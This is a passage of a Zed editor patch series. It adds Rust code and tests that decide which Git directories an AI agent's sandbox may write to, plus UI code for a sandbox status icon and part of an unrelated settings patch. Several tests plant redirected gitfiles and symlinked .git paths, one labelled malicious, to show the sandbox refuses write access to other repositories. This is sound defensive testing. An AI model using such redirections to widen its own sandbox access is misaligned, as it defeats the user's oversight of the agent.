+            dot_git_abs_path.display(),
+            expected_dot_git_abs_path.display()
+        );
+        return false;
+    }
+
+    let Some(listed_dot_git_path) = read_listed_worktree_gitdir(repository_dir_abs_path, fs).await
+    else {
+        return false;
+    };
+    if listed_dot_git_path != dot_git_abs_path {
+        log::debug!(
+            "Could not verify linked worktree Git metadata: repository dir `{}` lists .git path `{}`, expected `{}`",
+            repository_dir_abs_path.display(),
+            listed_dot_git_path.display(),
+            dot_git_abs_path.display()
+        );
+        return false;
+    }
+
+    true
+}
+
+async fn read_listed_worktree_gitdir(worktree_entry_dir: &Path, fs: &dyn Fs) -> Option<PathBuf> {
+    let gitdir_abs_path = worktree_entry_dir.join("gitdir");
+    let gitdir_contents = match fs.load(&gitdir_abs_path).await {
+        Ok(contents) => contents,
+        Err(error) => {
+            log::debug!(
+                "Could not verify linked worktree Git metadata: failed to read worktree gitdir file `{}`: {error}",
+                gitdir_abs_path.display()
+            );
+            return None;
+        }
+    };
+    let gitdir_path = Path::new(gitdir_contents.trim());
+    let path = if gitdir_path.is_absolute() {
+        gitdir_path.to_path_buf()
+    } else {
+        worktree_entry_dir.join(gitdir_path)
+    };
+    let normalized_path = normalize_sandbox_git_path(&path, fs).await;
+    if normalized_path.is_none() {
+        log::debug!(
+            "Could not verify linked worktree Git metadata: worktree gitdir file `{}` points to `{}` which could not be normalized",
+            gitdir_abs_path.display(),
+            path.display()
+        );
+    }
+    normalized_path
+}
+
+async fn gitdir_belongs_to_submodule_worktree(
+    repository_dir_abs_path: &Path,
+    work_directory_abs_path: &Path,
+    fs: &dyn Fs,
+) -> bool {
+    let Some(work_directory_abs_path) =
+        normalize_sandbox_git_path(work_directory_abs_path, fs).await
+    else {
+        log::debug!(
+            "Could not verify submodule Git metadata: worktree path `{}` could not be normalized",
+            work_directory_abs_path.display()
+        );
+        return false;
+    };
+
+    let Some(core_worktree) = read_core_worktree(repository_dir_abs_path, fs).await else {
+        return false;
+    };
+    if core_worktree != work_directory_abs_path {
+        log::debug!(
+            "Could not verify submodule Git metadata: repository dir `{}` has core.worktree `{}`, expected `{}`",
+            repository_dir_abs_path.display(),
+            core_worktree.display(),
+            work_directory_abs_path.display()
+        );
+        return false;
+    }
+
+    true
+}
+
+async fn read_core_worktree(repository_dir_abs_path: &Path, fs: &dyn Fs) -> Option<PathBuf> {
+    let config_abs_path = repository_dir_abs_path.join("config");
+    let config = match fs.load(&config_abs_path).await {
+        Ok(config) => config,
+        Err(error) => {
+            log::debug!(
+                "Could not verify submodule Git metadata: failed to read config `{}`: {error}",
+                config_abs_path.display()
+            );
+            return None;
+        }
+    };
+    let Some(core_worktree) = parse_core_worktree(&config) else {
+        log::debug!(
+            "Could not verify submodule Git metadata: config `{}` did not contain exactly one supported core.worktree value",
+            config_abs_path.display()
+        );
+        return None;
+    };
+    let path = Path::new(&core_worktree);
+    let path = if path.is_absolute() {
+        path.to_path_buf()
+    } else {
+        repository_dir_abs_path.join(path)
+    };
+    let normalized_path = normalize_sandbox_git_path(&path, fs).await;
+    if normalized_path.is_none() {
+        log::debug!(
+            "Could not verify submodule Git metadata: core.worktree value `{}` from config `{}` resolved to `{}` which could not be normalized",
+            core_worktree,
+            config_abs_path.display(),
+            path.display()
+        );
+    }
+    normalized_path
+}
+
+fn parse_core_worktree(config: &str) -> Option<String> {
+    let mut in_core_section = false;
+    let mut core_worktree = None;
+
+    for raw_line in config.lines() {
+        let line = raw_line.trim();
+        if line.is_empty() || line.starts_with('#') || line.starts_with(';') {
+            continue;
+        }
+        if line.ends_with('\\') {
+            return None;
+        }
+
+        if line.starts_with('[') {
+            if !line.ends_with(']') {
+                return None;
+            }
+            let section = line[1..line.len() - 1].trim();
+            if section.to_lowercase().starts_with("include") {
+                return None;
+            }
+            in_core_section = section.eq_ignore_ascii_case("core");
+            continue;
+        }
+
+        if !in_core_section {
+            continue;
+        }
+
+        let Some((key, value)) = line.split_once('=') else {
+            continue;
+        };
+        if !key.trim().eq_ignore_ascii_case("worktree") {
+            continue;
+        }
+        if core_worktree.is_some() {
+            return None;
+        }
+        core_worktree = Some(parse_git_config_path_value(value.trim())?);
+    }
+
+    core_worktree
+}
+
+fn parse_git_config_path_value(value: &str) -> Option<String> {
+    if value.is_empty() {
+        return None;
+    }
+
+    if !value.starts_with('"') {
+        if value.contains('"') || value.starts_with('~') {
+            return None;
+        }
+        return Some(value.to_string());
+    }
+
+    let mut chars = value.chars();
+    chars.next()?;
+    let mut parsed = String::new();
+    let mut escaped = false;
+    let mut closed = false;
+    while let Some(character) = chars.next() {
+        if escaped {
+            match character {
+                '"' | '\\' => parsed.push(character),
+                _ => return None,
+            }
+            escaped = false;
+        } else if character == '\\' {
+            escaped = true;
+        } else if character == '"' {
+            closed = true;
+            break;
+        } else {
+            parsed.push(character);
+        }
+    }
+
+    if escaped || !closed {
+        return None;
+    }
+
+    let remaining = &value[value.len() - chars.as_str().len()..];
+    if !remaining.trim().is_empty() {
+        return None;
+    }
+
+    if parsed.is_empty() || parsed.starts_with('~') {
+        return None;
+    }
+
+    Some(parsed)
+}
+
+fn path_is_within_any(path: &Path, roots: &[PathBuf]) -> bool {
+    // `Path::starts_with` matches whole components, so `/projectX` is not
+    // treated as being within `/project`.
+    roots.iter().any(|root| path.starts_with(root))
+}
+
+async fn normalize_sandbox_git_path(path: impl AsRef<Path>, fs: &dyn Fs) -> Option<PathBuf> {
+    if let Ok(path) = fs.canonicalize(path.as_ref()).await {
+        Some(path)
+    } else {
+        util::paths::normalize_lexically(path.as_ref()).ok()
+    }
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+    use fs::Fs;
+
+    #[gpui::test]
+    async fn test_sandbox_paths_protect_git_paths_until_git_access_is_allowed(
+        cx: &mut gpui::TestAppContext,
+    ) {
+        crate::tests::init_test(cx);
+
+        let fs = fs::FakeFs::new(cx.executor());
+        fs.insert_tree(
+            "/main_repo",
+            serde_json::json!({
+                ".git": {},
+                "file.txt": "content",
+            }),
+        )
+        .await;
+        fs.add_linked_worktree_for_repo(
+            Path::new("/main_repo/.git"),
+            false,
+            git::repository::Worktree {
+                path: PathBuf::from("/linked_worktree"),
+                ref_name: Some("refs/heads/feature".into()),
+                sha: "abc123".into(),
+                is_main: false,
+                is_bare: false,
+            },
+        )
+        .await;
+        fs.write(Path::new("/linked_worktree/file.txt"), b"content")
+            .await
+            .expect("linked worktree file should be written");
+
+        let project = project::Project::test(fs.clone(), [Path::new("/linked_worktree")], cx).await;
+        let candidates =
+            cx.update(|cx| SandboxGitPathCandidates::from_project(project.read(cx), cx));
+        let paths_without_git_access = sandbox_git_paths(candidates, fs.as_ref(), false).await;
+
+        assert!(
+            paths_without_git_access
+                .writable_paths
+                .contains(&PathBuf::from("/linked_worktree"))
+        );
+        assert!(
+            paths_without_git_access
+                .git_dirs
+                .contains(&PathBuf::from("/linked_worktree/.git"))
+        );
+        assert!(
+            !paths_without_git_access
+                .git_dirs
+                .contains(&PathBuf::from("/linked_worktree/.gitignore"))
+        );
+        assert!(
+            paths_without_git_access
+                .git_dirs
+                .contains(&PathBuf::from("/main_repo/.git"))
+        );
+        assert!(
+            paths_without_git_access
+                .git_dirs
+                .contains(&PathBuf::from("/main_repo/.git/worktrees/feature"))
+        );
+
+        let candidates =
+            cx.update(|cx| SandboxGitPathCandidates::from_project(project.read(cx), cx));
+        let paths_with_git_access = sandbox_git_paths(candidates, fs.as_ref(), true).await;
+
+        assert!(paths_with_git_access.allow_git_access);
+        assert!(
+            paths_with_git_access
+                .writable_paths
+                .contains(&PathBuf::from("/linked_worktree"))
+        );
+        assert!(
+            paths_with_git_access
+                .git_dirs
+                .contains(&PathBuf::from("/linked_worktree/.git"))
+        );
+        assert!(
+            paths_with_git_access
+                .git_dirs
+                .contains(&PathBuf::from("/main_repo/.git"))
+        );
+        assert!(
+            paths_with_git_access
+                .git_dirs
+                .contains(&PathBuf::from("/main_repo/.git/worktrees/feature"))
+        );
+    }
+
+    #[gpui::test]
+    async fn test_sandbox_paths_grant_git_access_when_non_git_folder_is_present(
+        cx: &mut gpui::TestAppContext,
+    ) {
+        crate::tests::init_test(cx);
+
+        let fs = fs::FakeFs::new(cx.executor());
+        fs.insert_tree(
+            "/repo",
+            serde_json::json!({
+                ".git": {},
+                "file.txt": "content",
+            }),
+        )
+        .await;
+        // A plain folder opened alongside the repo. Its `<root>/.git` placeholder
+        // never corresponds to a repository, so it must not block the grant for
+        // the real repo.
+        fs.insert_tree("/notes", serde_json::json!({ "todo.txt": "hi" }))
+            .await;
+
+        let project =
+            project::Project::test(fs.clone(), [Path::new("/repo"), Path::new("/notes")], cx).await;
+        let candidates =
+            cx.update(|cx| SandboxGitPathCandidates::from_project(project.read(cx), cx));
+        let paths_with_git_access = sandbox_git_paths(candidates, fs.as_ref(), true).await;
+
+        assert!(paths_with_git_access.allow_git_access);
+        assert!(
+            paths_with_git_access
+                .git_dirs
+                .contains(&PathBuf::from("/repo/.git"))
+        );
+        assert!(
+            paths_with_git_access
+                .writable_paths
+                .contains(&PathBuf::from("/notes"))
+        );
+    }
+
+    #[gpui::test]
+    async fn test_sandbox_paths_allow_submodule_gitdir_without_commondir(
+        cx: &mut gpui::TestAppContext,
+    ) {
+        crate::tests::init_test(cx);
+
+        let fs = fs::FakeFs::new(cx.executor());
+        fs.insert_tree(
+            "/super",
+            serde_json::json!({
+                ".git": {
+                    "modules": {
+                        "sub": {
+                            "HEAD": "ref: refs/heads/main",
+                            "config": "[core]\n\trepositoryformatversion = 0\n\tworktree = ../../../sub\n"
+                        }
+                    }
+                },
+                "sub": {
+                    ".git": "gitdir: ../.git/modules/sub",
+                    "file.txt": "content"
+                }
+            }),
+        )
+        .await;
+
+        let project = project::Project::test(fs.clone(), [Path::new("/super/sub")], cx).await;
+        let candidates =
+            cx.update(|cx| SandboxGitPathCandidates::from_project(project.read(cx), cx));
+        let paths_with_git_access = sandbox_git_paths(candidates, fs.as_ref(), true).await;
+
+        assert!(paths_with_git_access.allow_git_access);
+        assert!(
+            paths_with_git_access
+                .writable_paths
+                .contains(&PathBuf::from("/super/sub"))
+        );
+        assert!(
+            paths_with_git_access
+                .git_dirs
+                .contains(&PathBuf::from("/super/sub/.git"))
+        );
+        assert!(
+            paths_with_git_access
+                .git_dirs
+                .contains(&PathBuf::from("/super/.git/modules/sub"))
+        );
+    }
+
+    #[gpui::test]
+    async fn test_sandbox_paths_do_not_grant_submodule_gitdir_without_back_reference(
+        cx: &mut gpui::TestAppContext,
+    ) {
+        crate::tests::init_test(cx);
+
+        let fs = fs::FakeFs::new(cx.executor());
+        fs.insert_tree(
+            "/super",
+            serde_json::json!({
+                ".git": {
+                    "modules": {
+                        "sub": {
+                            "HEAD": "ref: refs/heads/main",
+                            "config": "[core]\n\trepositoryformatversion = 0\n"
+                        }
+                    }
+                },
+                "sub": {
+                    ".git": "gitdir: ../.git/modules/sub",
+                    "file.txt": "content"
+                }
+            }),
+        )
+        .await;
+
+        let project = project::Project::test(fs.clone(), [Path::new("/super/sub")], cx).await;
+        let candidates =
+            cx.update(|cx| SandboxGitPathCandidates::from_project(project.read(cx), cx));
+        let paths_with_git_access = sandbox_git_paths(candidates, fs.as_ref(), true).await;
+
+        assert!(!paths_with_git_access.allow_git_access);
+        assert!(
+            paths_with_git_access
+                .git_dirs
+                .contains(&PathBuf::from("/super/sub/.git"))
+        );
+        assert!(
+            paths_with_git_access
+                .git_dirs
+                .contains(&PathBuf::from("/super/.git/modules/sub"))
+        );
+        assert!(
+            !paths_with_git_access
+                .writable_paths
+                .contains(&PathBuf::from("/super/.git/modules/sub"))
+        );
+    }
+
+    #[gpui::test]
+    async fn test_sandbox_paths_do_not_grant_submodule_gitfile_to_unrelated_gitdir(
+        cx: &mut gpui::TestAppContext,
+    ) {
+        crate::tests::init_test(cx);
+
+        let fs = fs::FakeFs::new(cx.executor());
+        fs.insert_tree(
+            "/project",
+            serde_json::json!({
+                "sub": {
+                    ".git": "gitdir: /other_repo/.git",
+                    "file.txt": "content"
+                }
+            }),
+        )
+        .await;
+        fs.insert_tree(
+            "/other_repo",
+            serde_json::json!({
+                ".git": {
+                    "HEAD": "ref: refs/heads/main",
+                    "config": "[core]\n\trepositoryformatversion = 0\n"
+                }
+            }),
+        )
+        .await;
+
+        let project = project::Project::test(fs.clone(), [Path::new("/project/sub")], cx).await;
+        let candidates =
+            cx.update(|cx| SandboxGitPathCandidates::from_project(project.read(cx), cx));
+        let paths_with_git_access = sandbox_git_paths(candidates, fs.as_ref(), true).await;
+
+        assert!(!paths_with_git_access.allow_git_access);
+        assert!(
+            paths_with_git_access
+                .git_dirs
+                .contains(&PathBuf::from("/project/sub/.git"))
+        );
+        assert!(
+            paths_with_git_access
+                .git_dirs
+                .contains(&PathBuf::from("/other_repo/.git"))
+        );
+        assert!(
+            !paths_with_git_access
+                .writable_paths
+                .contains(&PathBuf::from("/other_repo/.git"))
+        );
+    }
+
+    #[gpui::test]
+    async fn test_sandbox_paths_do_not_follow_gitfile_changed_after_scan(
+        cx: &mut gpui::TestAppContext,
+    ) {
+        crate::tests::init_test(cx);
+
+        let fs = fs::FakeFs::new(cx.executor());
+        fs.insert_tree(
+            "/main_repo",
+            serde_json::json!({
+                ".git": {},
+                "file.txt": "content",
+            }),
+        )
+        .await;
+        fs.add_linked_worktree_for_repo(
+            Path::new("/main_repo/.git"),
+            false,
+            git::repository::Worktree {
+                path: PathBuf::from("/linked_worktree"),
+                ref_name: Some("refs/heads/feature".into()),
+                sha: "abc123".into(),
+                is_main: false,
+                is_bare: false,
+            },
+        )
+        .await;
+        fs.write(Path::new("/linked_worktree/file.txt"), b"content")
+            .await
+            .expect("linked worktree file should be written");
+        fs.insert_tree(
+            "/other_repo",
+            serde_json::json!({
+                ".git": {
+                    "worktrees": {
+                        "other": {
+                            "HEAD": "ref: refs/heads/other",
+                            "commondir": "/other_repo/.git",
+                            "gitdir": "/other_worktree/.git"
+                        }
+                    }
+                }
+            }),
+        )
+        .await;
+
+        let project = project::Project::test(fs.clone(), [Path::new("/linked_worktree")], cx).await;
+        fs.write(
+            Path::new("/linked_worktree/.git"),
+            b"gitdir: /other_repo/.git/worktrees/other",
+        )
+        .await
+        .expect("mutated gitfile should be written");
+
+        let candidates =
+            cx.update(|cx| SandboxGitPathCandidates::from_project(project.read(cx), cx));
+        let paths_with_git_access = sandbox_git_paths(candidates, fs.as_ref(), true).await;
+
+        assert!(!paths_with_git_access.allow_git_access);
+        assert!(
+            paths_with_git_access
+                .git_dirs
+                .contains(&PathBuf::from("/linked_worktree/.git"))
+        );
+        assert!(
+            paths_with_git_access
+                .git_dirs
+                .contains(&PathBuf::from("/main_repo/.git"))
+        );
+        assert!(
+            paths_with_git_access
+                .git_dirs
+                .contains(&PathBuf::from("/main_repo/.git/worktrees/feature"))
+        );
+        assert!(
+            !paths_with_git_access
+                .writable_paths
+                .contains(&PathBuf::from("/other_repo/.git"))
+        );
+        assert!(
+            !paths_with_git_access
+                .writable_paths
+                .contains(&PathBuf::from("/other_repo/.git/worktrees/other"))
+        );
+    }
+
+    #[gpui::test]
+    async fn test_sandbox_paths_do_not_grant_unverified_worktree_gitdir(
+        cx: &mut gpui::TestAppContext,
+    ) {
+        crate::tests::init_test(cx);
+
+        let fs = fs::FakeFs::new(cx.executor());
+        fs.insert_tree(
+            "/main_repo",
+            serde_json::json!({
+                ".git": {},
+                "file.txt": "content",
+            }),
+        )
+        .await;
+        fs.add_linked_worktree_for_repo(
+            Path::new("/main_repo/.git"),
+            false,
+            git::repository::Worktree {
+                path: PathBuf::from("/linked_worktree"),
+                ref_name: Some("refs/heads/feature".into()),
+                sha: "abc123".into(),
+                is_main: false,
+                is_bare: false,
+            },
+        )
+        .await;
+        fs.insert_tree(
+            "/other_repo",
+            serde_json::json!({
+                ".git": {
+                    "worktrees": {
+                        "other": {
+                            "HEAD": "ref: refs/heads/other",
+                            "commondir": "/other_repo/.git",
+                            "gitdir": "/other_worktree/.git"
+                        }
+                    }
+                }
+            }),
+        )
+        .await;
+        fs.write(
+            Path::new("/linked_worktree/.git"),
+            b"gitdir: /other_repo/.git/worktrees/other",
+        )
+        .await
+        .expect("malicious gitfile should be written");
+
+        let project = project::Project::test(fs.clone(), [Path::new("/linked_worktree")], cx).await;
+        let candidates =
+            cx.update(|cx| SandboxGitPathCandidates::from_project(project.read(cx), cx));
+        let paths_with_git_access = sandbox_git_paths(candidates, fs.as_ref(), true).await;
+
+        assert!(!paths_with_git_access.allow_git_access);
+        assert!(
+            paths_with_git_access
+                .writable_paths
+                .contains(&PathBuf::from("/linked_worktree"))
+        );
+        assert!(
+            !paths_with_git_access
+                .writable_paths
+                .contains(&PathBuf::from("/other_repo/.git"))
+        );
+        assert!(
+            !paths_with_git_access
+                .writable_paths
+                .contains(&PathBuf::from("/other_repo/.git/worktrees/other"))
+        );
+        assert!(
+            paths_with_git_access
+                .git_dirs
+                .contains(&PathBuf::from("/linked_worktree/.git"))
+        );
+        assert!(
+            paths_with_git_access
+                .git_dirs
+                .contains(&PathBuf::from("/other_repo/.git"))
+        );
+        assert!(
+            paths_with_git_access
+                .git_dirs
+                .contains(&PathBuf::from("/other_repo/.git/worktrees/other"))
+        );
+    }
+
+    #[gpui::test]
+    async fn test_sandbox_paths_do_not_grant_symlinked_dot_git(cx: &mut gpui::TestAppContext) {
+        crate::tests::init_test(cx);
+
+        let fs = fs::FakeFs::new(cx.executor());
+        fs.insert_tree(
+            "/project",
+            serde_json::json!({
+                "file.txt": "content",
+            }),
+        )
+        .await;
+        fs.insert_tree(
+            "/other_repo",
+            serde_json::json!({
+                ".git": {}
+            }),
+        )
+        .await;
+        fs.insert_symlink(
+            Path::new("/project/.git"),
+            PathBuf::from("/other_repo/.git"),
+        )
+        .await;
+
+        let candidates = SandboxGitPathCandidates {
+            writable_paths: vec![PathBuf::from("/project")],
+            git_paths: vec![
+                PathBuf::from("/project/.git"),
+                PathBuf::from("/other_repo/.git"),
+            ],
+            repositories: vec![SandboxGitRepositoryPaths {
+                work_directory_abs_path: PathBuf::from("/project"),
+                dot_git_abs_path: PathBuf::from("/project/.git"),
+                repository_dir_abs_path: PathBuf::from("/other_repo/.git"),
+                common_dir_abs_path: PathBuf::from("/other_repo/.git"),
+            }],
+        };
+        let paths_with_git_access = sandbox_git_paths(candidates, fs.as_ref(), true).await;
+
+        assert!(!paths_with_git_access.allow_git_access);
+        assert!(
+            paths_with_git_access
+                .git_dirs
+                .contains(&PathBuf::from("/project/.git"))
+        );
+        assert!(
+            paths_with_git_access
+                .git_dirs
+                .contains(&PathBuf::from("/other_repo/.git"))
+        );
+        assert!(
+            !paths_with_git_access
+                .writable_paths
+                .contains(&PathBuf::from("/other_repo/.git"))
+        );
+    }
+
+    #[gpui::test]
+    async fn test_sandbox_paths_do_not_grant_symlinked_dot_git_file(cx: &mut gpui::TestAppContext) {
+        crate::tests::init_test(cx);
+
+        let fs = fs::FakeFs::new(cx.executor());
+        fs.insert_tree(
+            "/project",
+            serde_json::json!({
+                "file.txt": "content",
+            }),
+        )
+        .await;
+        fs.insert_tree(
+            "/other_repo",
+            serde_json::json!({
+                "gitfile": "gitdir: /other_repo/.git",
+                ".git": {
+                    "HEAD": "ref: refs/heads/main",
+                    "config": "[core]\n\trepositoryformatversion = 0\n\tworktree = /project\n"
+                }
+            }),
+        )
+        .await;
+        fs.insert_symlink(
+            Path::new("/project/.git"),
+            PathBuf::from("/other_repo/gitfile"),
+        )
+        .await;
+
+        let candidates = SandboxGitPathCandidates {
+            writable_paths: vec![PathBuf::from("/project")],
+            git_paths: vec![
+                PathBuf::from("/project/.git"),
+                PathBuf::from("/other_repo/.git"),
+            ],
+            repositories: vec![SandboxGitRepositoryPaths {
+                work_directory_abs_path: PathBuf::from("/project"),
+                dot_git_abs_path: PathBuf::from("/project/.git"),
+                repository_dir_abs_path: PathBuf::from("/other_repo/.git"),
+                common_dir_abs_path: PathBuf::from("/other_repo/.git"),
+            }],
+        };
+        let paths_with_git_access = sandbox_git_paths(candidates, fs.as_ref(), true).await;
+
+        assert!(!paths_with_git_access.allow_git_access);
+        assert!(
+            paths_with_git_access
+                .git_dirs
+                .contains(&PathBuf::from("/project/.git"))
+        );
+        assert!(
+            paths_with_git_access
+                .git_dirs
+                .contains(&PathBuf::from("/other_repo/.git"))
+        );
+        assert!(
+            !paths_with_git_access
+                .writable_paths
+                .contains(&PathBuf::from("/other_repo/.git"))
+        );
+    }
+
+    #[gpui::test]
+    async fn test_sandbox_paths_do_not_grant_gitfile_to_symlinked_gitdir(
+        cx: &mut gpui::TestAppContext,
+    ) {
+        crate::tests::init_test(cx);
+
+        let fs = fs::FakeFs::new(cx.executor());
+        fs.insert_tree(
+            "/project",
+            serde_json::json!({
+                ".git": "gitdir: /other_repo/gitdir_link",
+                "file.txt": "content",
+            }),
+        )
+        .await;
+        fs.insert_tree(
+            "/other_repo",
+            serde_json::json!({
+                ".git": {
+                    "HEAD": "ref: refs/heads/main",
+                    "config": "[core]\n\trepositoryformatversion = 0\n\tworktree = /project\n"
+                }
+            }),
+        )
+        .await;
+        fs.insert_symlink(
+            Path::new("/other_repo/gitdir_link"),
+            PathBuf::from("/other_repo/.git"),
+        )
+        .await;
+
+        let candidates = SandboxGitPathCandidates {
+            writable_paths: vec![PathBuf::from("/project")],
+            git_paths: vec![
+                PathBuf::from("/project/.git"),
+                PathBuf::from("/other_repo/gitdir_link"),
+                PathBuf::from("/other_repo/.git"),
+            ],
+            repositories: vec![SandboxGitRepositoryPaths {
+                work_directory_abs_path: PathBuf::from("/project"),
+                dot_git_abs_path: PathBuf::from("/project/.git"),
+                repository_dir_abs_path: PathBuf::from("/other_repo/gitdir_link"),
+                common_dir_abs_path: PathBuf::from("/other_repo/gitdir_link"),
+            }],
+        };
+        let paths_with_git_access = sandbox_git_paths(candidates, fs.as_ref(), true).await;
+
+        assert!(!paths_with_git_access.allow_git_access);
+        assert!(
+            paths_with_git_access
+                .git_dirs
+                .contains(&PathBuf::from("/other_repo/gitdir_link"))
+        );
+        assert!(
+            !paths_with_git_access
+                .writable_paths
+                .contains(&PathBuf::from("/other_repo/.git"))
+        );
+    }
+
+    #[test]
+    fn test_parse_core_worktree_accepts_simple_and_quoted_values() {
+        assert_eq!(
+            parse_core_worktree("[core]\n\tworktree = ../../../sub\n"),
+            Some("../../../sub".to_string())
+        );
+        assert_eq!(
+            parse_core_worktree("[core]\n\tworktree = \"../../../sub with spaces\"\n"),
+            Some("../../../sub with spaces".to_string())
+        );
+        assert_eq!(
+            parse_core_worktree("[core]\n\tworktree = \"C:/Users/Test/project/sub\"\n"),
+            Some("C:/Users/Test/project/sub".to_string())
+        );
+        assert_eq!(
+            parse_core_worktree("[core]\n\tworktree = \"C:\\\\Users\\\\Test\\\\project\\\\sub\"\n"),
+            Some("C:\\Users\\Test\\project\\sub".to_string())
+        );
+    }
+
+    #[test]
+    fn test_parse_core_worktree_rejects_ambiguous_or_unsupported_config() {
+        assert_eq!(parse_core_worktree("[core]\n\tworktree =\n"), None);
+        assert_eq!(
+            parse_core_worktree("[core]\n\tworktree = ../../../sub\n\tworktree = ../../../other\n"),
+            None
+        );
+        assert_eq!(parse_core_worktree("worktree = ../../../sub\n"), None);
+        assert_eq!(
+            parse_core_worktree(
+                "[include]\n\tpath = ../config\n[core]\n\tworktree = ../../../sub\n"
+            ),
+            None
+        );
+        assert_eq!(
+            parse_core_worktree("[core]\n\tworktree = \"../../../sub\" trailing\n"),
+            None
+        );
+        assert_eq!(
+            parse_core_worktree("[core]\n\tworktree = \"../../../sub\n"),
+            None
+        );
+        assert_eq!(
+            parse_core_worktree("[core]\n\tworktree = ../../../sub\\\n"),
+            None
+        );
+        assert_eq!(parse_core_worktree("[core]\n\tworktree = ~/sub\n"), None);
+    }
+}
diff --git a/crates/agent_ui/src/conversation_view/thread_view.rs b/crates/agent_ui/src/conversation_view/thread_view.rs
index d305cdb69f5f57..1a0137e001d54a 100644
--- a/crates/agent_ui/src/conversation_view/thread_view.rs
+++ b/crates/agent_ui/src/conversation_view/thread_view.rs
@@ -12,7 +12,10 @@ use acp_thread::{
     ContentBlock, PlanEntry, SandboxAuthorizationDetails, SandboxFallbackAuthorizationDetails,
     SandboxNotAppliedReason,
 };
-use agent::{SkillLoadingIssue, SkillLoadingIssueKind, SkillLoadingIssuesUpdated, ThreadSandbox};
+use agent::{
+    SandboxStatusKey, SandboxStatusRefresh, SkillLoadingIssue, SkillLoadingIssueKind,
+    SkillLoadingIssuesUpdated, ThreadSandbox, VerifiedSandboxStatus,
+};
 use agent_settings::UserAgentsMd;
 use agent_skills::MAX_SKILL_DESCRIPTION_LEN;
 use cloud_api_types::{SubmitAgentThreadFeedbackBody, SubmitAgentThreadFeedbackCommentsBody};
@@ -601,6 +604,7 @@ pub struct ThreadView {
     pub _cancel_task: Option<Task<()>>,
     _save_task: Option<Task<()>>,
     _draft_resolve_task: Option<Task<()>>,
+    _sandbox_status_refresh_task: Option<Task<()>>,
     pub skip_queue_processing_count: usize,
     pub user_interrupted_generation: bool,
     pub can_fast_track_queue: bool,
@@ -618,6 +622,9 @@ pub struct ThreadView {
     pub(crate) code_span_resolver: AgentCodeSpanResolver,
     pub show_external_source_prompt_warning: bool,
     pub show_codex_windows_warning: bool,
+    sandbox_status: Option<VerifiedSandboxStatus>,
+    sandbox_status_key: Option<SandboxStatusKey>,
+    pending_sandbox_status_key: Option<SandboxStatusKey>,
     pub multi_root_callout_dismissed: bool,
     pub generating_indicator_in_list: bool,
     pub skill_loading_issues: Vec<SkillLoadingIssue>,
@@ -994,6 +1001,7 @@ impl ThreadView {
             _cancel_task: None,
             _save_task: None,
             _draft_resolve_task: None,
+            _sandbox_status_refresh_task: None,
             skip_queue_processing_count: 0,
             user_interrupted_generation: false,
             can_fast_track_queue: false,
@@ -1007,6 +1015,9 @@ impl ThreadView {
             code_span_resolver,
             show_external_source_prompt_warning,
             show_codex_windows_warning,
+            sandbox_status: None,
+            sandbox_status_key: None,
+            pending_sandbox_status_key: None,
             multi_root_callout_dismissed: false,
             generating_indicator_in_list: false,
             skill_loading_issues: Vec::new(),
@@ -4567,17 +4578,56 @@ impl ThreadView {
             .unwrap_or(false)
     }
 
+    fn refresh_sandbox_status(&mut self, cx: &mut Context<Self>) -> Option<VerifiedSandboxStatus> {
+        let thread = self.as_native_thread(cx)?;
+        let (key, refresh) =
+            thread.update(cx, |thread, cx| thread.refresh_verified_sandbox_status(cx))?;
+
+        if self.sandbox_status_key.as_ref() == Some(&key) {
+            return self.sandbox_status.clone();
+        }
+
+        match refresh {
+            SandboxStatusRefresh::Ready(status) => {
+                self.sandbox_status = Some(status.clone());
+                self.sandbox_status_key = Some(key);
+                self.pending_sandbox_status_key = None;
+                Some(status)
+            }
+            SandboxStatusRefresh::Pending(task) => {
+                if self.pending_sandbox_status_key.as_ref() != Some(&key) {
+                    self.sandbox_status = None;
+                    self.sandbox_status_key = None;
+                    self.pending_sandbox_status_key = Some(key.clone());
+                    self._sandbox_status_refresh_task = Some(cx.spawn(async move |this, cx| {
+                        let status = task.await;
+                        this.update(cx, |this, cx| {
+                            if this.pending_sandbox_status_key.as_ref() == Some(&key) {
+                                this.sandbox_status = Some(status);
+                                this.sandbox_status_key = Some(key);
+                                this.pending_sandbox_status_key = None;
+                                cx.notify();
+                            }
+                        })
+                        .ok();
+                    }));
+                }
+                None
+            }
+        }
+    }
+
     /// A small lock icon summarizing the sandbox state. Hovering shows the
     /// write-access paths and network-access domains from the user's settings
     /// and the per-thread overrides. The lock is struck through when sandboxing
     /// is turned off (in settings, or for this thread). Shown whenever
     /// sandboxing is *applicable* to the project, even when disabled, so the
     /// user can always see and change the state. Clicking opens the settings.
-    fn render_sandbox_status(&self, cx: &mut Context<Self>) -> Option<AnyElement> {
-        let thread = self.as_native_thread(cx)?;
-        let thread = thread.read(cx);
-        let (settings_sandbox, thread_sandbox) = thread.sandbox_status(cx)?;
-        let baseline = thread.sandbox_baseline_writable_paths(cx);
+    fn render_sandbox_status(&mut self, cx: &mut Context<Self>) -> Option<AnyElement> {
+        let status = self.refresh_sandbox_status(cx)?;
+        let settings_sandbox = status.settings_sandbox.clone();
+        let thread_sandbox = status.thread_sandbox.clone();
+        let baseline = status.baseline_writable_paths;
 
         // The lock is struck only when the *merged* result is unsandboxed (the
         // agent runs with ambient permissions). A layer that is merely wide open

From daf4656c871f111221d78c921f04dc38133ec665 Mon Sep 17 00:00:00 2001
From: Kunall Banerjee <hey@kimchiii.space>
Date: Wed, 24 Jun 2026 01:43:59 -0400
Subject: [PATCH 070/772] settings_ui: Route Skill tool permissions to its own
 config page (#59728)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

The Skill page now renders the correct “Skill Tool” title, the
skill-specific explanation, and reads/writes the `skill` tool’s own
rules.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [ ] Unsafe blocks (if any) have justifying comments
- [ ] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [ ] Tests cover the new/changed behavior
- [ ] Performance impact has been considered and is acceptable

## Showcase

| Before | After |
|--------|--------|
| <img width="956" height="816" alt="image"
src="https://github.com/user-attachments/assets/e88ef051-aa5c-46de-9843-e3400fd63a7f"
/> | <img width="956" height="816" alt="image"
src="https://github.com/user-attachments/assets/77b8223d-bd97-4ac2-901d-15cf368341ec"
/> |

Closes #59720.

---

Release Notes:

- Fixed the Skill tool’s “Configure” button in the Agent’s Tool
Permissions settings opening the Terminal tool’s configuration instead
